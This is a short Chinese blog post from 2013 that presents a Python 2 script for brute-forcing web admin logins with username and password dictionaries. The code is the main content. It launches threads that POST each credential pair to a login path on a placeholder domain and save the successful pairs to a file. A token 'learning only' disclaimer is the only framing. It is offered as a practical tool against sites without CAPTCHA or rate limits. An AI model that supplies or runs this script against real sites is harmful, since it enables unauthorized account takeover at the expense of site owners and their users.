python 寫的http後臺弱口令爆破工具

pythontab發表於2013-12-18

今天來弄一個後臺破解的Python小程式,哈哈,直接上程式碼吧,都有註釋~~

# -*- coding: utf-8 -*-
# 利用python 寫的多執行緒爆破後臺使用者名稱+密碼(自備字典),比較實用,即使是在資訊保安這麼重視的今天,還是有人不加驗證碼或者異常訪問限制之類的登陸驗證方式,這樣就很# 容易被弱口令爆破工具拿下,(本程式碼僅限學習實用,禁止進行web攻擊,不承擔法律責任)
import urllib2
import urllib
import httplib
import threading
 
headers = {"Content-Type":"application/x-www-form-urlencoded",     
           "Connection":"Keep-Alive",
           "Referer":"http://www.xxxxx.com/"};# referer:是代理的訪問來源地址
# lock = threading.Lock()
def tryUser(user,password):
    #print user,password
    global headers
    global outFile 
    conn = httplib.HTTPConnection("www.xxxxx.com") # 遠端域名
    if len(user) < 3:     # 限制使用者名稱長度,排除字典中的無用資料
        return  # 主動退出執行緒
    else:
        #lock.acquire()   # 多執行緒操作檔案,提前加鎖,用後釋放
        #line = inFile.readline()
         
        #userData = line.strip().split(' # ') # strip() 預設去除空白字元包括' ','\t','\n'等
        #lock.release()
 
        user = user.strip()
        passwd = password.strip()
        params = urllib.urlencode({'username': user, 'password': passwd})
        conn.request(method="POST", url="/users/login", body=params, headers=headers) # 後臺路徑
        responseText = conn.getresponse().read().decode('utf8') # 網頁編碼
        #print responseText  # 第一次可以列印看看是否解析
        if not responseText.find(u'使用者名稱或者密碼不正確,請重新輸入!') > 0 :
            print '----- find user:', user, 'with password:', passwd, '-----'
            outFile.write(user + '    ' +  passwd + '\n')
             
    return
 
outFile = open('accounts-cracked.txt', 'w')
 
if __name__ == '__main__':
    tsk=[] # 建立執行緒池
    with open(r'user.dic', 'r') as fUser:  # 使用with as 來開啟檔案,不需自己關閉檔案,因為他會自己在合適的時候自已關閉(類似C# 中的using(...){}介面)
        with open(r'pass.dic', 'r') as fPass:
            for user in fUser.readlines():
                for password in fPass.readlines():
                    t= threading.Thread(target = tryUser,args=(user,password))
                    t.daemon = False # 設定不進行程式守護
                    tsk.append(t) # t.start()
                fPass.seek(0)
                # 記住這裡要將檔案重新移到檔案首,不然就會出現只執行外層迴圈的第一條,因為內層在
                # 迭代之後(readlines()是迭代器的形式,迭代一次後檔案指標就指到檔案尾了,迭代器
                # 也是end了)第二次就沒有password 在 fPass中,也就是說 for  password in fPass.readlines():
                # 為空,所以這裡的內層迴圈就不會被執行了,因此也就是迭代器清零的問題(C ++ itertor 常有)
                  
                     
# join()無引數就是完全阻塞主執行緒,等待執行緒執行完 有引數就是說,
# 在主執行緒等待一秒後就不阻塞執行緒了,繼續執行主執行緒,這裡的意思是一秒鐘開一個執行緒
# 不能再thread start之前呼叫join(), 因為join() 是執行緒執行時排程
    for t in tsk:
        t.start()
        t.join(1) 
 
 
 
    print "All thread OK,maybe not "
    outFile.close()


相關文章